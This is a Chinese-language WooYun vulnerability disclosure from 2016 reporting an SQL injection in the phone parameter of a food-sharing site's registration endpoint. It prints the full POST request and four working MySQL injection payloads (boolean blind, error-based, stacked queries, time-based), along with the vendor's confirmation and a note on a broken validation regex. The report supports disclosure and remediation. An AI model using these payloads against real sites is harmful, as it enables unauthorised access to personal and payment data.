当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0174151

漏洞标题:加双筷子主站SQL注入可影响千万级数据

相关厂商:北京加双筷子科技有限公司

漏洞作者: 路人甲

提交时间:2016-02-01 12:32

修复时间:2016-02-01 14:02

公开时间:2016-02-01 14:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-01: 细节已通知厂商并且等待厂商处理中
2016-02-01: 厂商已经确认,细节仅向厂商公开
2016-02-01: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

回家吃饭

详细说明:

www.jiashuangkuaizi.com


主站存在高危SQL注入,千万级数据。订单/账户等,含姓名/手机/地址/卡号等。

POST /Index/doJoin HTTP/1.1
Host: www.jiashuangkuaizi.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bi60vk6f4vvg8ogrhejft83qr0; Hm_lvt_5fc7a4e16cf8378153a8da1775e99178=1454162212; Hm_lpvt_5fc7a4e16cf8378153a8da1775e99178=1454162223
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
phone=13566666666


---
Place: POST
Parameter: phone
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: phone=13566666666
' RLIKE IF(1847=1847,0x31333536363636363636360a,0x28) AND 'PaKk'='PaKk
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: phone=13566666666
' AND (SELECT 6060 FROM(SELECT COUNT(*),CONCAT(0x3a646d643a,(SELECT (CASE WHEN (6060=6060) THEN 1 ELSE 0 END)),0x3a6279663a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'veKO'='veKO
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: phone=13566666666
'; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: phone=13566666666
' AND SLEEP(5) AND 'wjUt'='wjUt
---


jk1.png

jk2.png

jk3.png

漏洞证明:

jk1.png

修复方案:

参数过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-02-01 13:03

厂商回复:

谢谢,已通知相关项目负责人

最新状态:

2016-02-01: review 代码发现虽然过滤了,但是正则表达式写错了preg_match ( "/^1[3|4|5|7|8|][0-9]{9}/", $phone ),(`・д・´)